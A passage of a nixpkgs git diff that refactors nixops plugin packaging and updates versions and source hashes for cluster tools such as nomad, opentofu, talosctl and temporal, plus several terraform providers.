./plugins/nixops-hercules-ci.nix { }; - nixops-hetzner = callPackage ./plugins/nixops-hetzner.nix { }; - nixops-hetznercloud = callPackage ./plugins/nixops-hetznercloud.nix { }; - nixops-libvirtd = callPackage ./plugins/nixops-libvirtd.nix { }; - nixops-vbox = callPackage ./plugins/nixops-vbox.nix { }; - nixos-modules-contrib = callPackage ./plugins/nixos-modules-contrib.nix { }; - - # aliases for backwards compatibility - nixops-gcp = nixops-gce; - nixops-virtd = nixops-libvirtd; - nixopsvbox = nixops-vbox; - }; + # doc: https://github.com/NixOS/nixpkgs/pull/158781/files#diff-854251fa1fe071654921224671c8ba63c95feb2f96b2b3a9969c81676780053a + encapsulate = layerZero: + let + fixed = layerZero ({ extend = f: encapsulate (extends f layerZero); } // fixed); + in fixed.public; + + nixopsContextBase = this: { + + python = python3.override { + packageOverrides = self: super: { + nixops = self.callPackage ./unwrapped.nix { }; + } // (this.plugins self super); + }; + + plugins = ps: _super: with ps; rec { + nixops-aws = callPackage ./plugins/nixops-aws.nix { }; + nixops-digitalocean = callPackage ./plugins/nixops-digitalocean.nix { }; + nixops-encrypted-links = callPackage ./plugins/nixops-encrypted-links.nix { }; + nixops-gce = callPackage ./plugins/nixops-gce.nix { }; + nixops-hercules-ci = callPackage ./plugins/nixops-hercules-ci.nix { }; + nixops-hetzner = callPackage ./plugins/nixops-hetzner.nix { }; + nixops-hetznercloud = callPackage ./plugins/nixops-hetznercloud.nix { }; + nixops-libvirtd = callPackage ./plugins/nixops-libvirtd.nix { }; + nixops-vbox = callPackage ./plugins/nixops-vbox.nix { }; + nixos-modules-contrib = callPackage ./plugins/nixos-modules-contrib.nix { }; + + # aliases for backwards compatibility + nixops-gcp = nixops-gce; + nixops-virtd = nixops-libvirtd; + nixopsvbox = nixops-vbox; + }; + + # We should not reapply the overlay, but it tends to work out. (It's been this way since poetry2nix was dropped.) + availablePlugins = this.plugins this.python.pkgs this.python.pkgs; + + selectedPlugins = []; - # selector is a function mapping pythonPackages to a list of plugins - # e.g. nixops_unstable.withPlugins (ps: with ps; [ nixops-aws ]) - withPlugins = selector: let - selected = selector (plugins python.pkgs); - in python.pkgs.toPythonApplication (python.pkgs.nixops.overridePythonAttrs (old: { - propagatedBuildInputs = old.propagatedBuildInputs ++ selected; - - # Propagating dependencies leaks them through $PYTHONPATH which causes issues - # when used in nix-shell. - postFixup = '' - rm $out/nix-support/propagated-build-inputs - ''; - - passthru = old.passthru // { - plugins = plugins python.pkgs; - inherit withPlugins python; + # selector is a function mapping pythonPackages to a list of plugins + # e.g. nixops_unstable.withPlugins (ps: with ps; [ nixops-aws ]) + withPlugins = selector: + this.extend (this: _old: { + selectedPlugins = selector this.availablePlugins; + }); + + rawPackage = this.python.pkgs.toPythonApplication (this.python.pkgs.nixops.overridePythonAttrs (old: { + propagatedBuildInputs = old.propagatedBuildInputs ++ this.selectedPlugins; + + # Propagating dependencies leaks them through $PYTHONPATH which causes issues + # when used in nix-shell. + postFixup = '' + rm $out/nix-support/propagated-build-inputs + ''; + })); + + # Extra package attributes that aren't derivation attributes, just like `mkDerivation`'s `passthru`. + extraPackageAttrs = { + inherit (this) selectedPlugins availablePlugins withPlugins python; + tests = this.rawPackage.tests // { + nixos = this.rawPackage.tests.nixos.passthru.override { + nixopsPkg = this.rawPackage; + }; + commutative_addAvailablePlugins_withPlugins = + assert + (this.public.addAvailablePlugins (self: super: { inherit emptyFile; })).withPlugins (ps: [ emptyFile ]) + == + # Note that this value proves that the package is not instantiated until the end, where it's valid again. + (this.public.withPlugins (ps: [ emptyFile ])).addAvailablePlugins (self: super: { inherit emptyFile; }); + emptyFile; + } + # Make sure we also test with a configuration that's been extended with a plugin. + // lib.optionalAttrs (this.selectedPlugins == [ ]) { + withAPlugin = + lib.recurseIntoAttrs + (this.withPlugins (ps: with ps; [ nixops-encrypted-links ])).tests; + }; + overrideAttrs = f: this.extend (this: oldThis: { + rawPackage = oldThis.rawPackage.overrideAttrs f; + }); + /** + * nixops.addAvailablePlugins: Overlay -> Package + * + * Add available plugins to the package. You probably also want to enable + * them with the `withPlugins` method. + */ + addAvailablePlugins = newPlugins: this.extend (finalThis: oldThis: { + plugins = lib.composeExtensions oldThis.plugins newPlugins; + }); + + # For those who need or dare. + internals = this; }; - })); -in withPlugins (ps: [ - ps.nixops-aws - ps.nixops-digitalocean - ps.nixops-encrypted-links - ps.nixops-gce - ps.nixops-hercules-ci - ps.nixops-hetzner - ps.nixops-hetznercloud - ps.nixops-libvirtd - ps.nixops-vbox -]) + + package = lib.lazyDerivation { outputs = [ "out" "dist" ]; derivation = this.rawPackage; } // this.extraPackageAttrs; + + public = this.package; + }; + + minimal = encapsulate nixopsContextBase; + +in +{ + nixops_unstable_minimal = minimal; + + # Not recommended; too fragile. + nixops_unstable_full = minimal.withPlugins (ps: [ + ps.nixops-aws + ps.nixops-digitalocean + ps.nixops-encrypted-links + ps.nixops-gce + ps.nixops-hercules-ci + ps.nixops-hetzner + ps.nixops-hetznercloud + ps.nixops-libvirtd + ps.nixops-vbox + ]); +} diff --git a/pkgs/applications/networking/cluster/nixops/plugins/nixops-aws.nix b/pkgs/applications/networking/cluster/nixops/plugins/nixops-aws.nix index 06d8135bc9ffb..78b9bc879aaa3 100644 --- a/pkgs/applications/networking/cluster/nixops/plugins/nixops-aws.nix +++ b/pkgs/applications/networking/cluster/nixops/plugins/nixops-aws.nix @@ -12,14 +12,14 @@ buildPythonPackage { pname = "nixops-aws"; - version = "unstable-2023-08-09"; + version = "unstable-2024-02-29"; pyproject = true; src = fetchFromGitHub { owner = "NixOS"; repo = "nixops-aws"; - rev = "8802d1cda9004ec1362815292c2a8ab95e6d64e8"; - hash = "sha256-i0KjFrwpDHRch9jorccdVwnjAQiORClDUqm2R2xvwuU="; + rev = "d173b2f14ec767d782ceab45fb22b32fe3b5a1f7"; + hash = "sha256-ocTtc7POt1bugb9Bki2ew2Eh5uc933GftNw1twoOJsc="; }; postPatch = '' diff --git a/pkgs/applications/networking/cluster/nixops/unwrapped.nix b/pkgs/applications/networking/cluster/nixops/unwrapped.nix index e8cb998b52c77..058f7f2d2c1c9 100644 --- a/pkgs/applications/networking/cluster/nixops/unwrapped.nix +++ b/pkgs/applications/networking/cluster/nixops/unwrapped.nix @@ -13,14 +13,14 @@ buildPythonApplication rec { pname = "nixops"; - version = "unstable-2023-12-17"; + version = "unstable-2024-02-28"; pyproject = true; src = fetchFromGitHub { owner = "NixOS"; repo = "nixops"; - rev = "053668e849bb369973cf265b7e8f38e66ef70138"; - hash = "sha256-Kus1Ls1tT8fVGLX0NakRXmjuz5/J/tfqU4TLOkiZqvo="; + rev = "08feccb14074c5434f3e483d19a7f7d9bfcdb669"; + hash = "sha256-yWeF5apQJdChjYVSOyH6LYjJYGa1RL68LRHrSgZ9l8U="; }; postPatch = '' @@ -50,7 +50,7 @@ buildPythonApplication rec { pythonImportsCheck = [ "nixops" ]; passthru = { - tests.nixops = nixosTests.nixops.unstable; + tests.nixos = nixosTests.nixops.unstable; updateScript = unstableGitUpdater {}; }; diff --git a/pkgs/applications/networking/cluster/node-problem-detector/default.nix b/pkgs/applications/networking/cluster/node-problem-detector/default.nix index 047a44e84fd5f..168f331378a6c 100644 --- a/pkgs/applications/networking/cluster/node-problem-detector/default.nix +++ b/pkgs/applications/networking/cluster/node-problem-detector/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "node-problem-detector"; - version = "0.8.14"; + version = "0.8.16"; src = fetchFromGitHub { owner = "kubernetes"; repo = pname; rev = "v${version}"; - sha256 = "sha256-kh9rYg6UszBMCWYfVU+tP4ZRoigEm6+Z+7pnZWdbcwU="; + sha256 = "sha256-tuukO7y+aqgu/f1DBZNUkElRTbEeZn+zkfixnFwWWwY="; }; vendorHash = null; diff --git a/pkgs/applications/networking/cluster/nomad/default.nix b/pkgs/applications/networking/cluster/nomad/default.nix index 2f76d4c174216..e0181e69c0b99 100644 --- a/pkgs/applications/networking/cluster/nomad/default.nix +++ b/pkgs/applications/networking/cluster/nomad/default.nix @@ -57,9 +57,9 @@ rec { nomad_1_5 = generic { buildGoModule = buildGo121Module; - version = "1.5.13"; - sha256 = "sha256-SFPjcr3W6Sj1n+1ooi1HDMQEapgGapVy4HtqxSIVi9U="; - vendorHash = "sha256-F9lzO3jMVbDq8sA4rBo81vmIoOhK2N8d4HXX58HOw18="; + version = "1.5.15"; + sha256 = "sha256-OFmGOU+ObA0+BS48y0ZyyxR+VI5DYL39peVKcyVHgGI="; + vendorHash = "sha256-Ds94lB43cyMNyRJZti0mZDWGTtSdwY31dDijfAUxR0I="; license = lib.licenses.mpl20; passthru.tests.nomad = nixosTests.nomad; preCheck = '' @@ -69,9 +69,9 @@ rec { nomad_1_6 = generic { buildGoModule = buildGo121Module; - version = "1.6.6"; - sha256 = "sha256-E7HLBABOtDO/BUc2+4mD4yJ/sfy85gy67ZylRTZI3Cg="; - vendorHash = "sha256-6jq00RsukuP8OSkXhqYqQxpXtp/jm/GChEwEJTVyO10="; + version = "1.6.8"; + sha256 = "sha256-lc/HZgyzqWZNW2WHOFZ43gCeL5Y2hwK4lXPgWGboPOY="; + vendorHash = "sha256-ecLhq4OHDhA1Bd/97NMpfePqtuCtVje3BdvCzcwWzas="; license = lib.licenses.mpl20; passthru.tests.nomad = nixosTests.nomad; preCheck = '' @@ -81,9 +81,9 @@ rec { nomad_1_7 = generic { buildGoModule = buildGo121Module; - version = "1.7.4"; - sha256 = "sha256-iyY899W/uwP/wQcarKufSpJdXRAtwDxT6yw5vrB6Xmk="; - vendorHash = "sha256-yPf19IRTq+LAaoHsEFVuPJLapFxH3o16y0PbYW0ehiw="; + version = "1.7.5"; + sha256 = "sha256-uwPAmmxxlPp5NuuCUTv5VykX+q2vbA0yCRoblrJPP1g="; + vendorHash = "sha256-xu1odCHUO3cv0ldXj3T8aM+fqPzc4r1gyFWsiuyzOpU="; license = lib.licenses.bsl11; passthru.tests.nomad = nixosTests.nomad; preCheck = '' diff --git a/pkgs/applications/networking/cluster/opentofu/default.nix b/pkgs/applications/networking/cluster/opentofu/default.nix index 07353d6c3e383..a378a7486b713 100644 --- a/pkgs/applications/networking/cluster/opentofu/default.nix +++ b/pkgs/applications/networking/cluster/opentofu/default.nix @@ -14,13 +14,13 @@ let package = buildGoModule rec { pname = "opentofu"; - version = "1.6.1"; + version = "1.6.2"; src = fetchFromGitHub { owner = "opentofu"; repo = "opentofu"; rev = "v${version}"; - hash = "sha256-wEDxZtmC+SLIYbN+mGTmefcD6VZu87E9E0XhiJPGmK0="; + hash = "sha256-CYiwn2NDIAx30J8tmbrV45dbCIGoA3U+yBdMj4RX5Ho="; }; vendorHash = "sha256-kSm5RZqQRgbmPaKt5IWmuMhHwAu+oJKTX1q1lbE7hWk="; diff --git a/pkgs/applications/networking/cluster/pachyderm/default.nix b/pkgs/applications/networking/cluster/pachyderm/default.nix index 3f0e3c693b5d9..1e381c7470fbd 100644 --- a/pkgs/applications/networking/cluster/pachyderm/default.nix +++ b/pkgs/applications/networking/cluster/pachyderm/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "pachyderm"; - version = "2.8.4"; + version = "2.9.0"; src = fetchFromGitHub { owner = "pachyderm"; repo = "pachyderm"; rev = "v${version}"; - hash = "sha256-W6UXkMn+FsqjPFK2t8taJRZPnvLJe9/P3mhOAwjNW/Q="; + hash = "sha256-5xC0D7XB1db3mxUkzIyvmVIxOlL8XX8Vxpmtf60BQNM="; }; - vendorHash = "sha256-IRTzptluBxGm14IKK4n+2hfPrQ9YcqYA16WgbRkTV/s="; + vendorHash = "sha256-EW8DURf6URPQQMakHnRuF9Xh5iKh2y4cz6XYgXQwJM4="; subPackages = [ "src/server/cmd/pachctl" ]; diff --git a/pkgs/applications/networking/cluster/popeye/default.nix b/pkgs/applications/networking/cluster/popeye/default.nix index c955ebec3d22a..7cb97701f8d8c 100644 --- a/pkgs/applications/networking/cluster/popeye/default.nix +++ b/pkgs/applications/networking/cluster/popeye/default.nix @@ -1,14 +1,14 @@ -{ lib, buildGoModule, fetchFromGitHub }: +{ lib, buildGoModule, fetchFromGitHub, installShellFiles }: buildGoModule rec { pname = "popeye"; - version = "0.11.3"; + version = "0.20.5"; src = fetchFromGitHub { rev = "v${version}"; owner = "derailed"; repo = "popeye"; - sha256 = "sha256-yxYG74k/HpzIrAFLLSnaqKeODIL+ioNXeyx0aTlsCi0="; + sha256 = "sha256-e3ANhF2g1YpCipnHej2ZegoAq20MOyTIjxgNMs3qGbk="; }; ldflags = [ @@ -17,7 +17,16 @@ buildGoModule rec { "-X github.com/derailed/popeye/cmd.commit=${version}" ]; - vendorHash = "sha256-Vt5QwggdasVk4j2huSIneBMemi3Q0R4MgZn2yNlOH5E="; + vendorHash = "sha256-lRm3cS+VYP9vptr6ixmkni7DpNnexrhyccKDV7TWKg0="; + + nativeBuildInputs = [ installShellFiles ]; + + postInstall = '' + installShellCompletion --cmd popeye \ + --bash <($out/bin/popeye completion bash) \ + --fish <($out/bin/popeye completion fish) \ + --zsh <($out/bin/popeye completion zsh) + ''; doInstallCheck = true; installCheckPhase = '' diff --git a/pkgs/applications/networking/cluster/rke/default.nix b/pkgs/applications/networking/cluster/rke/default.nix index f36ee0254c1d0..c349e93b6ba36 100644 --- a/pkgs/applications/networking/cluster/rke/default.nix +++ b/pkgs/applications/networking/cluster/rke/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "rke"; - version = "1.5.3"; + version = "1.5.5"; src = fetchFromGitHub { owner = "rancher"; repo = pname; rev = "v${version}"; - hash = "sha256-p1hkiXHwh8Vo2LIP1BeE5XSc/gKjn9XN30usGwCVj7w="; + hash = "sha256-TPgXjM7RyjI8NmfiZHkHF3txfzAwjOg7kGODBj37JEI="; }; - vendorHash = "sha256-eH4FBfX9LNb1UgSRsYSd1Fn2Ju+cL6t64u+/sf9uzNM="; + vendorHash = "sha256-0H9K3/BwdSExADFHaYtn2RrHZ6AyEjzlBKYXL/Ow9JA="; subPackages = [ "." ]; diff --git a/pkgs/applications/networking/cluster/talosctl/default.nix b/pkgs/applications/networking/cluster/talosctl/default.nix index bbcc4e0de957e..17b5c866de6eb 100644 --- a/pkgs/applications/networking/cluster/talosctl/default.nix +++ b/pkgs/applications/networking/cluster/talosctl/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "talosctl"; - version = "1.6.4"; + version = "1.6.5"; src = fetchFromGitHub { owner = "siderolabs"; repo = "talos"; rev = "v${version}"; - hash = "sha256-2ZccpOqddgq51Q1AxV1uK9fThPMtJIL66ZGU51k2eL0="; + hash = "sha256-TEQnbQux+rN2WdlIbxh836Lx/ipqTDkoUsjQP8Ubl6s="; }; - vendorHash = "sha256-BC3RMhpYmyELJDzOva31QsTmrPeptMcfDYNK3q8D+dw="; + vendorHash = "sha256-xdcHd/LvIm4rawwXtsGMF8Es9pMGMaJJaZ6UQwc24ZU="; ldflags = [ "-s" "-w" ]; diff --git a/pkgs/applications/networking/cluster/temporal/default.nix b/pkgs/applications/networking/cluster/temporal/default.nix index f28d0157c8303..c6e5ba9df7a9c 100644 --- a/pkgs/applications/networking/cluster/temporal/default.nix +++ b/pkgs/applications/networking/cluster/temporal/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "temporal"; - version = "1.22.4"; + version = "1.22.6"; src = fetchFromGitHub { owner = "temporalio"; repo = "temporal"; rev = "v${version}"; - hash = "sha256-M/2Zm9B2VeA2BKcF7A7R1Y7T61VZiU2uKGwxGgdy4Sg="; + hash = "sha256-L5TOFhAMfbKjNK/Q74V2lcZs5vyynvMZMhHFB1ay5F8="; }; - vendorHash = "sha256-Aum5OsdJ69MkP8tXXGWa6IdouX6F4xKjD/ndAqShMhw="; + vendorHash = "sha256-ItJ4Bng9TTGJpSHaNglODIheO2ZmntHl7QfK4+2I2CM="; excludedPackages = [ "./build" ]; diff --git a/pkgs/applications/networking/cluster/terraform-providers/providers.json b/pkgs/applications/networking/cluster/terraform-providers/providers.json index a31e499648242..1dc43aee15eba 100644 --- a/pkgs/applications/networking/cluster/terraform-providers/providers.json +++ b/pkgs/applications/networking/cluster/terraform-providers/providers.json @@ -1,22 +1,22 @@ { "aci": { - "hash": "sha256-1N9Ya8WWb2gL84jYj4B8zllB5jQxRneVSNESYeRhj+c=", + "hash": "sha256-Xe6RDA9Ijq6BnrTzlXHt+6hfNf7CkrJ4TY6dp4TUm4E=", "homepage": "https://registry.terraform.io/providers/CiscoDevNet/aci", "owner": "CiscoDevNet", "repo": "terraform-provider-aci", - "rev": "v2.13.0", + "rev": "v2.13.2", "spdx": "MPL-2.0", "vendorHash": null }, "acme": { - "hash": "sha256-wyDlI8G1MxZsoYPBjqQ32+/gK8DqQMXZWgTkATaOztQ=", + "hash": "sha256-ZhL5u6v7ZraajKaSK6hwzXbXr+ySdFmBSJnmsOhOJok=", "homepage": "https://registry.terraform.io/providers/vancluever/acme", "owner": "vancluever", "proxyVendor": true, "repo": "terraform-provider-acme", - "rev": "v2.19.1", + "rev": "v2.20.2", "spdx": "MPL-2.0", - "vendorHash": "sha256-PoykgWxMKmQzKUSojFICwjDucukfHYxHdgn60uD+UQ8=" + "vendorHash": "sha256-eiWGI8sp+gGL8UiRBG6lHmCATVUebYwdXJbLNGfi6xY=" }, "age": { "hash": "sha256-bJrzjvkrCX93bNqCA+FdRibHnAw6cb61StqtwUY5ok4=", @@ -37,20 +37,20 @@ "vendorHash": "sha256-rIyAhe4YQ9XG3nODCSxZRohHgNIPQ94pDLrh7+4Rj1k=" }, "akamai": { - "hash": "sha256-CBBrX0mm6hyobOdhbDaud4HKupIMnDTJp7+kWSej+NI=", + "hash": "sha256-j1UTi4ygixwSfu9Wp//JzKe58xSV/tZM3kRo1ikBo3Y=", "homepage": "https://registry.terraform.io/providers/akamai/akamai", "owner": "akamai", "repo": "terraform-provider-akamai", - "rev": "v5.5.0", + "rev": "v5.6.0", "spdx": "MPL-2.0", - "vendorHash": "sha256-Y30DSv7gAW7JzaTYt0XGwLhTArFILPPnxYmP2mKe9Sc=" + "vendorHash": "sha256-/gW1vxaDaUMpm0QSghd/Glo3S/XVa5t9x3QrIs4Bqyk=" }, "alicloud": { - "hash": "sha256-LgpEooWXTefhH4HLVO1BIBUXXZBMO11ZS6NwsEbbnog=", + "hash": "sha256-YD9q4sjX9Bmp1k6MIy7EKIT2fY0e9Mb939hJ5w1Hh2Y=", "homepage": "https://registry.terraform.io/providers/aliyun/alicloud", "owner": "aliyun", "repo": "terraform-provider-alicloud", - "rev": "v1.215.0", + "rev": "v1.217.2", "spdx": "MPL-2.0", "vendorHash": null }, @@ -82,22 +82,22 @@ "vendorHash": "sha256-q9PO9tMbaXTs3nBLElwU05GcDZMZqNmLVVGDmiSRSfo=" }, "artifactory": { - "hash": "sha256-hcdd762uNBYJx2KL4kouR8qWuSZBtGO2egUwaWufOMg=", + "hash": "sha256-W8IWBc9tWmj4Rkp4CgZV9tsAL41EOnEhH+iTImP/+D4=", "homepage": "https://registry.terraform.io/providers/jfrog/artifactory", "owner": "jfrog", "repo": "terraform-provider-artifactory", - "rev": "v10.1.2", + "rev": "v10.1.5", "spdx": "Apache-2.0", "vendorHash": "sha256-J/+OcqRtcHaqoDkrWIDpPlBHQ/UWupwchA1aeSoHSh4=" }, "auth0": { - "hash": "sha256-6VwjKNX24r93EgVED+NK17dY577HL4tT76jSCgVIpHg=", + "hash": "sha256-Yoje6btftS0slz2newORBbb9kTjWXaXzbP94YKT6+3E=", "homepage": "https://registry.terraform.io/providers/auth0/auth0", "owner": "auth0", "repo": "terraform-provider-auth0", - "rev": "v1.1.2", + "rev": "v1.2.0", "spdx": "MPL-2.0", - "vendorHash": "sha256-t40UZ9LF7PNhIqdEK6puuNeSDapTpC0+BTQgXQlMPTs=" + "vendorHash": "sha256-kBLyk8glOuvgpbGLUUwtzKecqDDU8VS3JxN6tPIhMro=" }, "avi": { "hash": "sha256-EGpHajrTTOx7LrFHzsrrkGMqsuUEJLJAN6AJ48QdJis=", @@ -118,13 +118,13 @@ "vendorHash": null }, "aws": { - "hash": "sha256-UI1ECQ1bHxwjxtBzpgwbyZLexRH+7L6rjrEcyxSed0g=", + "hash": "sha256-/KJMoRsEKA4cqY/TpSWQDBpNjtqmZcqnpMSLf2E0LXY=", "homepage": "https://registry.terraform.io/providers/hashicorp/aws", "owner": "hashicorp", "repo": "terraform-provider-aws", - "rev": "v5.34.0", + "rev": "v5.39.1", "spdx": "MPL-2.0", - "vendorHash": "sha256-sccfJ5EUY9XTjDYah9/0R9L53Zzdfi06kWi5QaFp+og=" + "vendorHash": "sha256-q5Tsm7JLrX5OK4fKV0SBRgK6ZHogG16OtMFeJrR0bBc=" }, "azuread": { "hash": "sha256-lumXl3orK5Jq5+qnRfiIA94NjK2bCjd3LhRzHmW1h8I=", @@ -136,11 +136,11 @@ "vendorHash": null }, "azurerm": { - "hash": "sha256-QNaTyyz7H5jf7znPOv6ZTUnaI2zPNHnfZXp2ns3Nv00=", + "hash": "sha256-HPbEbFw99HM6+a+EAbkwE6hvzh4/FU/cAbl6DT1dbp0=", "homepage": "https://registry.terraform.io/providers/hashicorp/azurerm", "owner": "hashicorp", "repo": "terraform-provider-azurerm", - "rev": "v3.89.0", + "rev": "v3.94.0", "spdx": "MPL-2.0", "vendorHash": null }, @@ -155,31 +155,31 @@ }, "baiducloud": { "deleteVendor": true, - "hash": "sha256-+/QLVhVzT80IYwoXvRoxHok3PAw+ZPQhH+b5YARFFLU=", + "hash": "sha256-wPfWcc4OD3KXEfe9IsK/4NPdX/4bQNKTiGBsKL0OZC8=", "homepage": "https://registry.terraform.io/providers/baidubce/baiducloud", "owner": "baidubce", "repo": "terraform-provider-baiducloud", - "rev": "v1.19.31", + "rev": "v1.19.37", "spdx": "MPL-2.0", - "vendorHash": "sha256-7FA5bhb22C/OUhcHrcZK2D4esj+su/HLB7pTyX7ot44=" + "vendorHash": "sha256-puTQKvIvyBRgdZZTZCXEAdc8HYNgtoSmzjpqHCIEAKk=" }, "bigip": { - "hash": "sha256-itRFSpaso9AJpjsXNpVxUgoG13Ys7dSuG5XCcuCkuMk=", + "hash": "sha256-GrHd9plKhe7BdCBgsnTv+CM82F7oDPWamtXxOpiwKPE=", "homepage": "https://registry.terraform.io/providers/F5Networks/bigip", "owner": "F5Networks", "repo": "terraform-provider-bigip", - "rev": "v1.20.2", + "rev": "v1.21.0", "spdx": "MPL-2.0", "vendorHash": null }, "bitbucket": { - "hash": "sha256-jrxCUTqR6knktDIX3sFDtIP6OD9cJGdV+JgwSgoDfMo=", + "hash": "sha256-rapsVhYfyASIn9zVQTwhAF4A2Taw9djYlh+sJXCpJNA=", "homepage": "https://registry.terraform.io/providers/DrFaust92/bitbucket", "owner": "DrFaust92", "repo": "terraform-provider-bitbucket", - "rev": "v2.38.0", + "rev": "v2.40.0", "spdx": "MPL-2.0", - "vendorHash": "sha256-2s8ATVlSVa6n/OSay0oTdJXGdfnCwX6da3Pcu/xYcPY=" + "vendorHash": "sha256-oDMKf39uNMO9/kyiZ1IuZlj2yIF1q5Z3wewxEBh3yso=" }, "brightbox": { "hash": "sha256-pwFbCP+qDL/4IUfbPRCkddkbsEEeAu7Wp12/mDL0ABA=", @@ -191,22 +191,22 @@ "vendorHash": "sha256-/dOiXO2aPkuZaFiwv/6AXJdIADgx8T7eOwvJfBBoqg8=" }, "buildkite": { - "hash": "sha256-gq6GvSSQny5o3bzF33p/6SE8Wi44xCZtAJ4wcmnIJ1c=", + "hash": "sha256-3r2vxoPRTehKTswcNoAkVKuLbo6OFuyLy1WEyjw2zO8=", "homepage": "https://registry.terraform.io/providers/buildkite/buildkite", "owner": "buildkite", "repo": "terraform-provider-buildkite", - "rev": "v1.3.0", + "rev": "v1.5.0", "spdx": "MIT", - "vendorHash": "sha256-/nwLZWPg8sGshoEg2wcXRVzf8wwsnthrmd8HiGcvvZ8=" + "vendorHash": "sha256-21OyBnW86A3Tm0OAHilCM+pgJcgx2a+P9up3/jeA8qg=" }, "checkly": { - "hash": "sha256-PaQDHK/T3H2W+Ah4cYdP0VOOMSiK/9UgJDmmHHiYEsI=", + "hash": "sha256-Wxw87/9BG/bTDGqgKdle6WF38oDoHkrc0HIKjJlaQOQ=", "homepage": "https://registry.terraform.io/providers/checkly/checkly", "owner": "checkly", "repo": "terraform-provider-checkly", - "rev": "v1.7.3", + "rev": "v1.7.6", "spdx": null, - "vendorHash": "sha256-bP2qfEOP3CPTkr6Dq/o4PCCVnAm+ujsp+pogmuUX4ZM=" + "vendorHash": "sha256-zxlKKA2bi+PV0T+znLAFEbTe5ynGfl0bE913GWojwEo=" }, "ciscoasa": { "hash": "sha256-xzc44FEy2MPo51Faq/VFwg411JK9e0kQucpt0vdN8yg=", @@ -218,22 +218,22 @@ "vendorHash": null }, "cloudamqp": { - "hash": "sha256-TWBilEfRrLUk1PIAO/Vq1wed1BTALKApeBGTa5WtN5g=", + "hash": "sha256-aEbGvGPYvW3NOO+Q89/ebcJWNrXIoNQkqAIbv9ikiI8=", "homepage": "https://registry.terraform.io/providers/cloudamqp/cloudamqp", "owner": "cloudamqp", "repo": "terraform-provider-cloudamqp", - "rev": "v1.29.3", + "rev": "v1.29.4", "spdx": "MPL-2.0", - "vendorHash": "sha256-+HZzsAsEJuzEZ61ARaNYC1WxI3M6UwFEf+8q3Bd/JWA=" + "vendorHash": "sha256-cI3brJwN+7FTceOMwR0HMbZCNHhwvm31OXqjAEvrzrs=" }, "cloudflare": { - "hash": "sha256-ftpfjKjW+60n+mmwdx/ivpge4Nt2H1I3ElSk3AhPevY=", + "hash": "sha256-b9qsA0V/ncQPiP2SQyFpVDaQdEyAMBQp4WfCQlcd9xk=", "homepage": "https://registry.terraform.io/providers/cloudflare/cloudflare", "owner": "cloudflare", "repo": "terraform-provider-cloudflare", - "rev": "v4.23.0", + "rev": "v4.25.0", "spdx": "MPL-2.0", - "vendorHash": "sha256-F+6bk+Lc0ziRJ/LBhrb5bS8oMN9zT7WqzPZKVUReNU4=" + "vendorHash": "sha256-TBELRtWlzXqP64fPM3e1pn/w8FVERQ3BLf+kRoahNXk=" }, "cloudfoundry": { "hash": "sha256-1nYncJLVU/f9WD6Quh9IieIXgixPzbPk4zbtI1zmf9g=", @@ -255,11 +255,11 @@ "vendorHash": "sha256-MFhKJEuylDnyj9ltugxGXgfIxBT3/mYaxB0JmTJxK3M=" }, "cloudscale": { - "hash": "sha256-SDivLkP1y/qBVNSiyCjV6zPTbLUplxzD3gNxzkjC51M=", + "hash": "sha256-GjtWkty9mNMnTzXUf9U56b9HkjrjUdouA41ZptXMKeQ=", "homepage": "https://registry.terraform.io/providers/cloudscale-ch/cloudscale", "owner": "cloudscale-ch", "repo": "terraform-provider-cloudscale", - "rev": "v4.2.2", + "rev": "v4.2.3", "spdx": "MIT", "vendorHash": null }, @@ -292,13 +292,13 @@ "vendorHash": "sha256-ZCMSmOCPEMxCSpl3DjIUGPj1W/KNJgyjtHpmQ19JquA=" }, "datadog": { - "hash": "sha256-JH0QDASZLFU9beexGze0vg1qrQutgAeGSExwHnYRyKs=", + "hash": "sha256-gmFD9VG9mcxw7lpt25bz8z2RnmeCSbd2EkFJHbZNP0Y=", "homepage": "https://registry.terraform.io/providers/DataDog/datadog", "owner": "DataDog", "repo": "terraform-provider-datadog", - "rev": "v3.35.0", + "rev": "v3.37.0", "spdx": "MPL-2.0", - "vendorHash": "sha256-eGOUtinVIi6R1R19nosw60I+DfdJNxmw3pBrS171tRI=" + "vendorHash": "sha256-20ANWw/0rqhCVhkl2r1PusXKOAKrvpxgvpGKmKMzbZM=" }, "dexidp": { "hash": "sha256-3UgiOeAGpGG2mkImPDvb24WjV2mavhY0E12j7W+SJs8=", @@ -365,11 +365,11 @@ "vendorHash": "sha256-XxltOTtCgmJ9wZX8Yw39HkwVVZb58kZjAH7jfKPhjKM=" }, "doppler": { - "hash": "sha256-YOJbeMFwEF+r4vOdKM5txdqPeYV1/8N/DKwlMjQiT6w=", + "hash": "sha256-FJS1lPYieTWI/AX7pBbFmGtJw5kPD7MCZp+LWWIsnus=", "homepage": "https://registry.terraform.io/providers/DopplerHQ/doppler", "owner": "DopplerHQ", "repo": "terraform-provider-doppler", - "rev": "v1.4.0", + "rev": "v1.6.2", "spdx": "Apache-2.0", "vendorHash": "sha256-qJ1mOuMyJ/f2/yCns7qY8zUt2lgDuBgzN0w1HCKBk7E=" }, @@ -392,29 +392,29 @@ "vendorHash": "sha256-vMmHoQEXXPbFS/q+wy35SQd5+yEXLQFVWX9AKsmbTn4=" }, "exoscale": { - "hash": "sha256-SDvW6VC8MwrAWhFGNFMNXA55FbMwSBs9BjX9gnqesZ8=", + "hash": "sha256-t1yZmayoZkDImcIr+VkNhQRzlfteGuvgcjSDOmmCF5I=", "homepage": "https://registry.terraform.io/providers/exoscale/exoscale", "owner": "exoscale", "repo": "terraform-provider-exoscale", - "rev": "v0.55.0", + "rev": "v0.56.0", "spdx": "MPL-2.0", "vendorHash": null }, "external": { - "hash": "sha256-rmCdTtyYv3jZDXWWqRLV8AgnnZ0Hqp8Ofq8BoLBkDhs=", + "hash": "sha256-NCHG3lE+PuKm/8ox+d+zDSoKMXjSCCwi2JWTOn7NezE=", "homepage": "https://registry.terraform.io/providers/hashicorp/external", "owner": "hashicorp", "repo": "terraform-provider-external", - "rev": "v2.3.2", + "rev": "v2.3.3", "spdx": "MPL-2.0", - "vendorHash": "sha256-mkopDoGhGZSJyxWYtR8OU9BU1GYwhLe3xwNkUKwlBNI=" + "vendorHash": "sha256-qeKXdjrDPJWO4xW8by6djJReeYbCjh8VzQmE5/65zII=" }, "fastly": { - "hash": 